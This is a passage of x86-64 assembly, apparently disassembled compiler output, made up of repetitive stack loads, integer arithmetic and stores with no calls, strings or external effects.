movsx eax, byte [rsp + 0x89]
movsx ecx, byte [rsp + 0x4d]
sub eax, ecx
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5308]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
shl eax, cl
mov byte [rsp + 0x8c], al
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x5980], rax
mov rax, qword [rsp + 0x5520]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2c20]
shr eax, cl
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov rax, qword [0x140114160]
mov qword [rsp + 0x5988], rax
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5798]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x5938]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x5720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x53f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401141e0]
mov word [rcx], ax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x5990], rax
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x49]
add eax, ecx
mov rcx, qword [rsp + 0x5468]
mov byte [rcx], al
movzx eax, word [rsp + 0x920]
mov word [rsp + 0x9b8], ax
mov rax, qword [rsp + 0x54d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5868]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5828]
mov byte [rcx], al
mov rax, qword [rsp + 0x5098]
mov rcx, qword [rsp + 0x5730]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x57e0], rax
lea rax, [rsp + 0x5388]
mov qword [rsp + 0x5998], rax
mov eax, dword [rsp + 0x2aec]
mov ecx, dword [rsp + 0x2ba4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov dword [rsp + 0x2c50], eax
movzx eax, word [0x140113024]
mov word [0x140114308], ax
movsx eax, word [rsp + 0x9a4]
mov rcx, qword [rsp + 0x5338]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e20]
mov word [rcx], ax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov word [rsp + 0x9bc], ax
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x954], ax
mov rax, qword [rsp + 0x5818]
mov rax, qword [rax]
mov qword [rsp + 0x59a0], rax
mov eax, dword [rsp + 0x2ba4]
mov ecx, dword [rsp + 0x2b44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
lea rax, [rsp + 0x4ec8]
mov qword [rsp + 0x59a8], rax
mov eax, dword [rsp + 0x2bf8]
mov rcx, qword [rsp + 0x5500]
mov qword [rsp + 0x59b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x59b0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5500]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x7d]
movzx ecx, byte [rsp + 0x33]
shl eax, cl
mov byte [0x1401141be], al
movsx eax, byte [rsp + 0x57]
movsx ecx, byte [rsp + 0x89]
or eax, ecx
mov byte [rsp + 0x71], al
movzx eax, word [rsp + 0x980]
mov word [rsp + 0x9c0], ax
movsx eax, word [0x140113028]
mov rcx, qword [rsp + 0x5510]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5758]
mov word [rcx], ax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x59b8], rax
mov rax, qword [rsp + 0x5728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x52b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5840]
mov dword [rcx], eax
lea rax, [rsp + 0x52f8]
mov qword [rsp + 0x59c0], rax
mov rax, qword [rsp + 0x5370]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b28], rax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5578]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011302f], al
lea rax, [rsp + 0x44]
mov qword [rsp + 0x59c8], rax
movzx eax, word [rsp + 0x8dc]
movzx ecx, word [0x1401142b0]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movsx eax, word [rsp + 0x850]
mov rcx, qword [rsp + 0x4f28]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5608]
mov word [rcx], ax
lea rax, [rsp + 0x42]
mov qword [rsp + 0x59d0], rax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x55b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov dword [rsp + 0x2c54], eax
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x54c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5588]
mov qword [rcx], rax
lea rax, [0x140113008]
mov qword [rsp + 0x59d8], rax
movzx eax, word [rsp + 0x918]
mov rcx, qword [rsp + 0x5668]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x898], ax
movsx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x50a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113023], al
mov rax, qword [rsp + 0x58e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x850], ax
movzx eax, byte [rsp + 0x63]
mov byte [rsp + 0x97], al
mov rax, qword [rsp + 0x56e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x58f8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5420]
mov byte [rcx], al
mov rax, qword [rsp + 0x53c8]
mov rax, qword [rax]
mov qword [rsp + 0x59e0], rax
mov eax, dword [rsp + 0x2b40]
mov ecx, dword [rsp + 0x2b28]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b9c]
movzx ecx, al
mov eax, dword [rsp + 0x2c08]
shl eax, cl
mov rcx, qword [rsp + 0x53f8]
mov dword [rcx], eax
mov rax, qword [0x140114160]
mov qword [rsp + 0x59e8], rax
movsx eax, word [rsp + 0x928]
movsx ecx, word [rsp + 0x8f0]
sub eax, ecx
mov word [rsp + 0x968], ax
movzx eax, byte [rsp + 0x91]
mov rcx, qword [rsp + 0x59c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401141bb], al
mov rax, qword [rsp + 0x5420]
movzx eax, byte [rax]
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x5598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x95c]
and eax, ecx
mov rcx, qword [rsp + 0x5780]
mov word [rcx], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [0x140113038]
add eax, ecx
mov word [rsp + 0x998], ax
mov rax, qword [rsp + 0x58b0]
mov qword [rsp + 0x59f0], rax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [rsp + 0x4d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bd4], eax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov qword [rsp + 0x59f8], rax
mov eax, dword [rsp + 0x2bb0]
mov ecx, dword [rsp + 0x2b60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x5468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
add eax, ecx
mov byte [rsp + 0x97], al
mov rax, qword [rsp + 0x59c8]
movzx eax, byte [rax]
mov rcx, qword [0x1401141c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113032], al
lea rax, [rsp + 0x91c]
mov qword [rsp + 0x5a00], rax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov word [rsp + 0x9a8], ax
mov rax, qword [rsp + 0x5258]
movzx eax, word [rax]
mov word [rsp + 0x9c4], ax
mov rax, qword [rsp + 0x57c0]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ed8], rax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov qword [rsp + 0x5a08], rax
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x5898]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x58c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x51e8]
mov rcx, qword [rsp + 0x5358]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x54b0]
mov dword [rcx], eax
lea rax, [rsp + 0x8c8]
mov qword [rsp + 0x5a10], rax
lea rax, [rsp + 0x70]
mov qword [0x140114310], rax
movsx eax, byte [0x14011302f]
mov rcx, qword [rsp + 0x5868]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5990]
mov byte [rcx], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x5a18], rax
mov rax, qword [rsp + 0x5318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
xor eax, ecx
mov byte [rsp + 0x7a], al
movzx eax, byte [rsp + 0x8b]
mov rcx, qword [rsp + 0x51e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x60], al
lea rax, [rsp + 0x2ba8]
mov qword [rsp + 0x5a20], rax
mov rax, qword [rsp + 0x4f78]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5548]
mov qword [rcx], rax
mov eax, dword [0x140114150]
mov dword [rsp + 0x2c58], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x57e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5320], rax
mov rax, qword [rsp + 0x50f8]
movsx eax, byte [rax]
mov rcx, qword [0x140114260]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14011302a], al
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x86c]
and eax, ecx
mov word [rsp + 0x8e0], ax
lea rax, [rsp + 0x900]
mov qword [rsp + 0x5a28], rax
mov rax, qword [rsp + 0x4f88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x62]
sub eax, ecx
mov rcx, qword [rsp + 0x57b0]
mov byte [rcx], al
lea rax, [rsp + 0x8bc]
mov qword [rsp + 0x5a30], rax
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x59f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x5390]
mov rcx, qword [rsp + 0x52c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2aec], eax
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov dword [rsp + 0x2c5c], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x59c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5218], rax
movzx eax, word [rsp + 0x96c]
mov word [0x140114318], ax
mov rax, qword [0x140114250]
movzx eax, byte [rax]
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x5420]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x52d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
movzx eax, word [rsp + 0x934]
mov word [rsp + 0x9c8], ax
movsx eax, word [0x140113060]
movsx ecx, word [rsp + 0x868]
sar eax, cl
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x50e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5988]
shl rax, cl
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
lea rax, [rsp + 0x5178]
mov qword [rsp + 0x5a38], rax
mov rax, qword [rsp + 0x5840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b80]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2afc], eax
lea rax, [rsp + 0x2b4c]
mov qword [rsp + 0x5a40], rax
movzx eax, word [rsp + 0x90c]
movzx ecx, word [rsp + 0x948]
xor eax, ecx
mov rcx, qword [0x140114198]
mov word [rcx], ax
movzx eax, byte [0x140113027]
mov rcx, qword [rsp + 0x5308]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4fe0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5530]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x950]
add eax, ecx
mov word [rsp + 0x87c], ax
mov rax, qword [rsp + 0x5768]
movzx eax, byte [rax]
mov byte [rsp + 0x9a], al
mov rax, qword [0x140114168]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5450]
mov byte [rcx], al
lea rax, [rsp + 0x2b90]
mov qword [rsp + 0x5a48], rax
mov rax, qword [rsp + 0x5190]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c44], eax
lea rax, [rsp + 0x51b0]
mov qword [rsp + 0x5a50], rax
movzx eax, word [rsp + 0x8bc]
movzx ecx, word [rsp + 0x980]
and eax, ecx
mov word [0x140113064], ax
mov rax, qword [rsp + 0x5828]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
add eax, ecx
mov byte [rsp + 0x6b], al
movzx eax, word [rsp + 0x950]
mov word [rsp + 0x9cc], ax
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x63], al
lea rax, [rsp + 0x51]
mov qword [rsp + 0x5a58], rax
mov rax, qword [rsp + 0x5690]
mov rcx, qword [rsp + 0x58b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5138], rax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2c54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c0c], eax
mov rax, qword [rsp + 0x5838]
mov qword [rsp + 0x5a60], rax
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [rsp + 0x2b58]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x54b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x984]
movzx ecx, word [0x140113038]
sar eax, cl
mov word [0x140113050], ax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x9b], al
movsx eax, word [rsp + 0x98c]
movsx ecx, word [rsp + 0x87c]
or eax, ecx
mov word [rsp + 0x950], ax
mov rax, qword [rsp + 0x5528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x86c]
shl eax, cl
mov word [rsp + 0x8d8], ax
mov rax, qword [rsp + 0x5850]
movzx eax, word [rax]
mov word [rsp + 0x9d0], ax
mov rax, qword [rsp + 0x5760]
mov rcx, qword [rsp + 0x54a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x50f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c3c]
mov dword [rsp + 0x2c60], eax
mov rax, qword [rsp + 0x5520]
mov ecx, dword [rsp + 0x2c40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x51d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x51f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011302a], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x4f80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5a10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8d8], ax
lea rax, [rsp + 0x92c]
mov qword [rsp + 0x5a68], rax
mov rax, qword [rsp + 0x52d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d]
sub eax, ecx
mov rcx, qword [rsp + 0x5470]
mov byte [rcx], al
mov rax, qword [rsp + 0x5918]
mov rcx, qword [rsp + 0x5400]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5078]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c5c]
mov dword [rsp + 0x2c64], eax
mov rax, qword [rsp + 0x50c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x59a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c28]
mov dword [rsp + 0x2c68], eax
mov rax, qword [0x140114270]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9b0]
sub eax, ecx
mov word [0x140113068], ax
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov byte [rsp + 0x6c], al
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0x9d], al
movsx eax, byte [0x140114157]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5668]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x888], ax
mov rax, qword [rsp + 0x4ba0]
mov qword [rsp + 0x5a70], rax
mov rax, qword [rsp + 0x5760]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0x59a8]
idiv qword [rcx]
mov rcx, qword [rsp + 0x5730]
mov qword [rcx], rax
mov rax, qword [rsp + 0x53f8]
mov eax, dword [rax]
mov dword [rsp + 0x2c6c], eax
mov rax, qword [rsp + 0x52b0]
mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x55b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x54c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
or eax, ecx
mov rcx, qword [rsp + 0x5768]
mov byte [rcx], al
mov rax, qword [rsp + 0x5490]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14011301e], al
mov rax, qword [0x140114158]
movzx eax, word [rax]
mov word [rsp + 0x9d4], ax
movzx eax, word [rsp + 0x9a8]
mov rcx, qword [rsp + 0x5a28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x980], ax
mov rax, qword [rsp + 0x5318]
movzx eax, byte [rax]
mov byte [rsp + 0x9e], al
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2bc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5120]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x5410]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x57e0], rax
lea rax, [rsp + 0x5690]
mov qword [rsp + 0x5a78], rax
mov rax, qword [rsp + 0x5428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c40], eax
movzx eax, word [rsp + 0x9a8]
mov word [rsp + 0x9d8], ax
mov rax, qword [rsp + 0x50c8]
movzx eax, byte [rax]
mov byte [0x140114212], al
mov rax, qword [rsp + 0x4f98]
movsx eax, word [rax]
mov rcx, qword [0x1401142c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x58e0]
mov word [rcx], ax
lea rax, [rsp + 0x8d]
mov qword [rsp + 0x5a80], rax
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8a0]
sub eax, ecx
mov word [rsp + 0x9d8], ax
mov rax, qword [rsp + 0x52b0]
mov rcx, qword [rsp + 0x4c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2bf0], eax
lea rax, [rsp + 0x4ec8]
mov qword [rsp + 0x5a88], rax
mov rax, qword [rsp + 0x4c00]
mov rcx, qword [rsp + 0x56c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4f50]
mov eax, dword [rax]
mov dword [rsp + 0x2c70], eax
movsx eax, word [0x14011301c]
mov rcx, qword [rsp + 0x4e20]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5208]
mov word [rcx], ax
mov rax, qword [rsp + 0x5490]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5110]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140113006], al
mov rax, qword [rsp + 0x4eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5a10]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8d0], ax
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0x5a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x97c], ax
mov rax, qword [rsp + 0x50d0]
mov qword [rsp + 0x5a90], rax
mov eax, dword [rsp + 0x2b58]
mov ecx, dword [rsp + 0x2b74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bf0], eax
mov rax, qword [rsp + 0x50e0]
mov rcx, qword [rsp + 0x53c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5260], rax
lea rax, [rsp + 0x2b1c]
mov qword [rsp + 0x5a98], rax
mov rax, qword [rsp + 0x56a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x51e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5740]
mov byte [rcx], al
lea rax, [rsp + 0x67]
mov qword [0x140114320], rax
mov rax, qword [rsp + 0x5578]
movzx eax, byte [rax]
mov byte [rsp + 0xa0], al
movsx eax, word [rsp + 0x968]
movsx ecx, word [rsp + 0x850]
add eax, ecx
mov word [rsp + 0x8d8], ax
movzx eax, word [rsp + 0x9a8]
movzx ecx, word [rsp + 0x9c8]
add eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5170]
movzx eax, word [rax]
mov word [rsp + 0x9dc], ax
mov eax, dword [rsp + 0x2c64]
mov ecx, dword [rsp + 0x2bf8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fe8]
mov eax, dword [rax]
mov dword [rsp + 0x2c74], eax
mov rax, qword [rsp + 0x50b0]
mov rcx, qword [rsp + 0x4ea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f18], rax
mov rax, qword [rsp + 0x5860]
mov qword [rsp + 0x5aa0], rax
movsx eax, byte [rsp + 0x94]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [0x140113023], al
movzx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x5398]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x4f28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x968]
and eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
mov word [rsp + 0x9e0], ax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov rcx, qword [0x1401142a8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x978], ax
mov eax, dword [rsp + 0x2b08]
mov dword [rsp + 0x2c78], eax
mov rax, qword [rsp + 0x53b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x59e0]
shr rax, cl
mov qword [rsp + 0x5138], rax
mov eax, dword [rsp + 0x2bf8]
mov rcx, qword [rsp + 0x5618]
mov qword [rsp + 0x5aa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5aa8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5500]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5628]
mov qword [rsp + 0x5ab0], rax
lea rax, [rsp + 0x3a]
mov qword [0x140114328], rax
movzx eax, word [rsp + 0x8f8]
movzx ecx, word [rsp + 0x8e4]
xor eax, ecx
mov word [rsp + 0x970], ax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0xa1], al
movsx eax, word [rsp + 0x8c8]
movsx ecx, word [rsp + 0x914]
sub eax, ecx
mov word [rsp + 0x8c0], ax
mov rax, qword [rsp + 0x54c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x61]
sub eax, ecx
mov rcx, qword [rsp + 0x5990]
mov byte [rcx], al
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x5ab8], rax
mov rax, qword [rsp + 0x58a0]
mov rcx, qword [rsp + 0x4bf8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5350], rax
mov rax, qword [rsp + 0x5710]
mov qword [rsp + 0x5ac0], rax
mov rax, qword [rsp + 0x5358]
mov rcx, qword [rsp + 0x54b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bf0], eax
movsx eax, word [rsp + 0x8a8]
mov rcx, qword [rsp + 0x5160]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401141b8], ax
mov rax, qword [rsp + 0x5980]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4c]
add eax, ecx
mov byte [rsp + 0x63], al
lea rax, [rsp + 0x92]
mov qword [rsp + 0x5ac8], rax
movzx eax, word [rsp + 0x984]
mov rcx, qword [rsp + 0x5908]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x874], ax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e78], rax
mov rax, qword [rsp + 0x5328]
mov rax, qword [rax]
mov qword [rsp + 0x5ad0], rax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2be0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c00], eax
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x5028]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c24], eax
lea rax, [rsp + 0x8d4]
mov qword [0x140114330], rax
movzx eax, byte [rsp + 0x8e]
mov byte [rsp + 0xa3], al
movzx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x59b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5110]
mov byte [rcx], al
lea rax, [rsp + 0x878]
mov qword [rsp + 0x5ad8], rax
mov rax, qword [rsp + 0x4f08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x54c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x57b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5770]
mov qword [rsp + 0x5ae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5ae0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2bb8], eax
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0x5ae8], rax
mov rax, qword [rsp + 0x5678]
mov rcx, qword [rsp + 0x5818]
mov qword [rsp + 0x5af0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5af0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5128]
mov qword [rcx], rax
lea rax, [rsp + 0x2b34]
mov qword [rsp + 0x5af8], rax
mov rax, qword [rsp + 0x4e58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x990]
xor eax, ecx
mov rcx, qword [0x140114258]
